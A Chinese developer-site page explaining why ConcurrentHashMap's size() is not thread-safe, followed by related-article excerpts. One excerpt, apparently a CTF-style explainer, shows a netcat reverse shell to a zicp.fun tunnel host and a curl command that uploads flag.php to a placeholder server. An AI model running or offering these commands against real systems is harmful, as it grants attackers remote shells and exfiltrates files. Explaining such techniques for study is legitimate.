ConcurrentHashMap 的 size()方法是线程安全的吗?为什么

news2024/11/28 12:47:32

ConcurrentHashMap 的 size()方法是非线程安全的。也就是说,当有线程调用 put 方法在添加元素的时候,其他线程在调用 size()方法获取的元素个数和实际存储元素个数是不一致的。原因是 size()方法是一个非同步方法,put()方法和 size()方法并没有实现同步锁。

put()方法

put()方法的实现逻辑是:在 hash 表上添加或者修改某个元素,然后再对总的元素个数进行累加。
其中,线程的安全性仅仅局限在 hash 表数组粒度的锁同步,避免同一个节点出现数据竞争带来线程安全问题。(如图)数组元素个数的累加方式用到了两个方案:
  • 当线程竞争不激烈的时候,直接用 cas 的方式对一个 long 类型的变量做原子递增。
  • 当线程竞争比较激烈的时候,使用一个 CounterCell 数组,用分而治之的思想减少多线程竞争,从而实现元素个数的原子累加。

size()方法

size()方法的逻辑就是遍历 CounterCell 数组中的每个 value 值进行累加,再加上baseCount,汇总得到一个结果。所以很明显,size()方法得到的数据和真实数据必然是不一致的。因此从 size()方法本身来看,它的整个计算过程是线程安全的,因为这里用到了 CAS的方式解决了并发更新问题

总结 

但是站在 ConcurrentHashMap 全局角度来看,put()方法和 size()方法之间的数据是不一致的,因此也就不是线程安全的。之所以不像 HashTable 那样,直接在方法级别加同步锁。在我看来有两个考虑点:
  • 直接在 size()方法加锁,就会造成数据写入的并发冲突,对性能造成影响,当然有些朋友会说可以加读写锁,但是同样会造成 put 方法锁的范围扩大,性能影响极大!
  • ConcurrentHashMap 并发集合中,对于 size()数量的一致性需求并不大,并发集合更多的是去保证数据存储的安全性。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1146029.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

获取某个抖音用户的视频列表信息

思路 确定url确定并获取相关参数构造header发送请求解析数据输出数据 运行结果 代码 import requests # 获取某个用户的的视频信息,截至20231028,程序可以正常运行。 # 构造请求头header headers {User-Agent:..........................,Cookie:...…

10分钟了解JWT令牌 (JSON Web)

10分钟了解JSON Web令牌(JWT) JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案。今天给大家介绍JWT的原理和用法。 1.跨域身份验证 Internet服务无法与用户身份验证分开。一般过程如下。 1.用户向服务器发送用户名和密码。…

IOC课程整理-12 Spring 国际化

1. Spring 国际化使用场景 2. Spring 国际化接口 3. 层次性 MessageSource 4. Java 国际化标准实现 5. Java 文本格式化 6. MessageSource 开箱即用实现 7. MessageSource 內建依赖 8. 课外资料 9. 面试题精选 Spring 国际化接口有哪些? • 核心接口 - MessageSour…

Linux操作系统 - 从概念上认识进程

目录 前置知识 冯诺依曼和现代计算机结构 操作系统的理解 进程的概念 进程和PCB 查看进程信息的指令 - ps 进程的一些特性 进程标识符 - PID 进程状态 进程状态的概念 Linux下的进程状态 父子进程 子进程的创建 - fork 僵尸进程 孤儿进程 进程切换 CPU上下文切…

PLC案例集合

这里写自定义目录标题 按时断电一次性按钮震荡电路上升沿和下降沿红绿灯案例抢答器未完待续 下载程序时,必须将PLC处于停机状态(STOP) 重新下载程序后,M会保持上一次程序中的状态。 所以,程序开始前要对中继进行复位 …

Windows查看核心与线程数

文章目录 前言一、可视化界面1、任务管理器2、设备管理器3、CPU-Z 二、命令或程序1、cmd命令2、Java程序 前言 查询电脑硬件CPU信息命令的学习,予以记录! 参考博客:https://blog.csdn.net/huazicomeon/article/details/53540852 一、可视化界…

【计算机网络笔记】Web缓存/代理服务器技术

系列文章目录 什么是计算机网络? 什么是网络协议? 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能(1)——速率、带宽、延迟 计算机网络性能(2)…

echarts 按需加载处理

下载内容 npm install echarts --save按需封装组件 // 引入 echarts 核心模块,核心模块提供了 echarts 使用必须要的接口。 import * as echarts from echarts/core; import echarts/lib/component/legend// 引入柱状图图表,图表后缀都为 Chart // 引入…

HarmonyOS鸿蒙原生应用开发设计- 图标库

HarmonyOS设计文档中,为大家提供了独特的图标库,开发者可以根据需要直接引用。 图标库可以分为双色图标、填充图标、线性图标。具体分为 键盘、箭头、连接状态、媒体、人、设备、索引、通信、文件、物体与工具等。 整体分类 开发者直接使用官方提供的图标…

杂牌行车记录仪mp4恢复案例

行车记录仪是一种常见的视频采集设备,随着国内汽车市场的疯涨而普及,基本上每个车上都有,这一类记录仪有的是主机厂自带的(如特斯拉),但更多的是第三方厂商生产的独立的记录仪。下面我们看一个小厂商的记录…

测开 (性能测试)

目录 前言 1、性能测试和功能测试的区别 2、性能好与不好的表现 3、性能测试衡量指标 && 名称解释 指标一:并发用户数 指标二:响应时间 / 平均响应时间 指标三:事务 指标四:点击率(Hit Per Second&…

HLS直播协议详解

文章目录 前言一、HLS 协议简介二、HLS 总体框架三、HLS 优势及劣势四、HLS 主要的应用场景五、M3U8 详解1、简介2、一级 m3u83、二级 m3u84、tag 说明①、名词说明②、tag 分类1)Basic Tags2)Media Segment Tags3)Media Playlist Tags4&…

C++单调向量算法应用:所有子数组中不平衡数字之和

涉及知识点 单调向量 题目 一个长度为 n 下标从 0 开始的整数数组 arr 的 不平衡数字 定义为&#xff0c;在 sarr sorted(arr) 数组中&#xff0c;满足以下条件的下标数目&#xff1a; 0 < i < n - 1 &#xff0c;和 sarr[i1] - sarr[i] > 1 这里&#xff0c;sort…

OSPF,RIP和BGP的路由汇总

OSPF路由汇总 OSPF的路由汇总需要注意以下两点 1.OSPF的路由汇总仅支持手动汇总 注&#xff1a;距离矢量路由协议支持自动路由汇总&#xff0c;链路状态路由协议仅支持手动路由汇总&#xff08;OSPF,ISIS&#xff09; 2.OSPF的路由汇总只在区域边界进行汇总 OSPF的路由汇总…

反弹shell和DNS外带

反弹shell讲解 system("nc s546459d57.zicp.fun 23494 -e /bin/sh"); rce无回显&#xff0c;反弹shell详解 DNS外带&#xff1a; curl -X POST -F xxflag.php http://aaa 从目标网站以POST方式向http://aaa上传一个文件&#xff0c;名字叫xx 文件内容是flag.php/…

基于深度学习的行人属性辨识研究

收藏和点赞&#xff0c;您的关注是我创作的动力 文章目录 概要 一、 实验设计与结果分析3.1 CACD数据集及图像预处理 二、行人属性识别4.2 系统开发环境4.3 功能模块实现4.3.1 图像采集模块结 论 概要 本文提供了一个采用更多消耗函数方法的网络模式,将交叉熵损耗函数和经过修…

IOC课程整理-9

0 总览 1. Spring Bean 元信息配置阶段 2. Spring Bean 元信息解析阶段 3. Spring Bean 注册阶段 4. Spring BeanDefinition 合并阶段 5. Spring Bean Class 加载阶段 6. Spring Bean 实例化前阶段 InstantiationAwareBeanPostProcessor#postProcessBeforeInstantiation 若返回…

实战经验分享FastAPI 是什么

FastAPI 是什么&#xff1f;FastAPI实战经验分享 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7e9e23e6fe3444238413d91f37064b65.png](https://fastapi.tiangolo.com/) FastAPI 是一个先进、高效的 Python Web 框架&#xff0c;专门用于构建基于 Python 的 API。它是…

【扩散模型】HuggingFace Diffusers实战

HuggingFace Diffusers实战 1. 环境准备2. DreamBooth2.1 Stable Diffusion简介2.2 DreamBooth 3. Diffusers核心API4. 实战&#xff1a;生成美丽的蝴蝶图像4.1 下载数据集4.2 调度器4.3 定义扩散模型4.4 创建扩散模型训练循环4.5 图像的生成方法1.建立一个管线方法2.写一个采样…

python:使用Scikit-image对遥感影像进行小波变换特征提取(wavelet)

作者:CSDN @ _养乐多_ 在本博客中,我们将介绍如何使用Scikit-image库进行单波段遥感图像的特征提取,重点关注小波变换方法,特别是Gabor滤波器。我们将详细解释代码中的参数以及如何调整它们以满足不同需求。 小波变换是一种数学工具,用于将信号分解成不同尺度和频率的成…